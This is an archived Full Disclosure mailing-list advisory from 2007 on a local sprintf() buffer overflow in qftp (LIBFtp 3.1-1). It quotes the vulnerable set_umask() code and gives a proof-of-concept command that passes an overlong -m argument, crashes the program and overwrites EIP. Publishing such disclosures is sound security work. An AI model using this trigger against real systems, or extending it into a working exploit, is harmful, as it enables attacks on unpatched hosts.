Home page logo

fulldisclosure logo Full Disclosure mailing list archives

QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow
From: "starcadi starcadi" <starcadi () gmail com>
Date: Thu, 15 Mar 2007 19:26:10 +0100


qftp is a utility that performs file transfers using ftplib based on
instructions presented on the command line.


buffer overflow in sprintf(), set_umask don't check sizelen of passed argument.

Source error

in main():
337:      case 'm' : set_umask(optarg); break;
void set_umask(char *m)
    char buf[80];
    sprintf(buf,"umask %s", m);
    FtpSite(buf, conn);


$ gcc ftplib.c getopt.c qftp.c -o ftpsend
$ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"`
Segmentation fault

# eip addr: $1 = (void *) 0x61616161

~ starcadi

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]